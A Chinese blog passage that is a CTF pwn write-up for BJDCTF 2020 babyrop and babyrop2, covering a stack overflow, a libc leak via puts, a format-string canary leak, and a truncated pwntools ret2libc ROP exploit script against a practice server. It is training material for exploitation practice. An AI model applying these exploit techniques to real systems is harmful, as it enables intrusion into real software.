bjdctf_2020_babyrop 与bjdctf_2020_babyrop2(格式化字符leak)

最新推荐文章于 2024-09-01 16:28:39 发布

zeeeroo

最新推荐文章于 2024-09-01 16:28:39 发布

阅读量600

点赞数 7

分类专栏： pwn

本文链接：https://blog.csdn.net/beaster1/article/details/115384305

版权

本文详细介绍了BJDCTF 2020中两道题目——bjdctf_2020_babyrop和bjdctf_2020_babyrop2的漏洞利用过程。通过checksec检查安全特性，发现存在栈溢出。在bjdctf_2020_babyrop2中，由于开启canary，需要找到payload长度限制并泄露canary的值。通过%n$p和%p的组合，确定了输入点在栈上的相对位置，并找到了偏移量6，最终使用%7$p泄露canary，为rop链的构造打下基础。

摘要由CSDN通过智能技术生成

bjdctf_2020_babyrop

先checksec

在这里插入图片描述
打开ida正常查看函数

在这里插入图片描述打开init函数发现puts函数

在这里插入图片描述然后进入vuln函数存在栈溢出

没有看到后门函数应该是libc leak+rop
代码如下

from pwn import*
from LibcSearcher import*
p=remote('node3.buuoj.cn',29901)
#p=process('')
elf=ELF('bjdctf_2020_babyrop')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x400733
pop_rsi=0x400731
main=0x4006ad
payload='a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64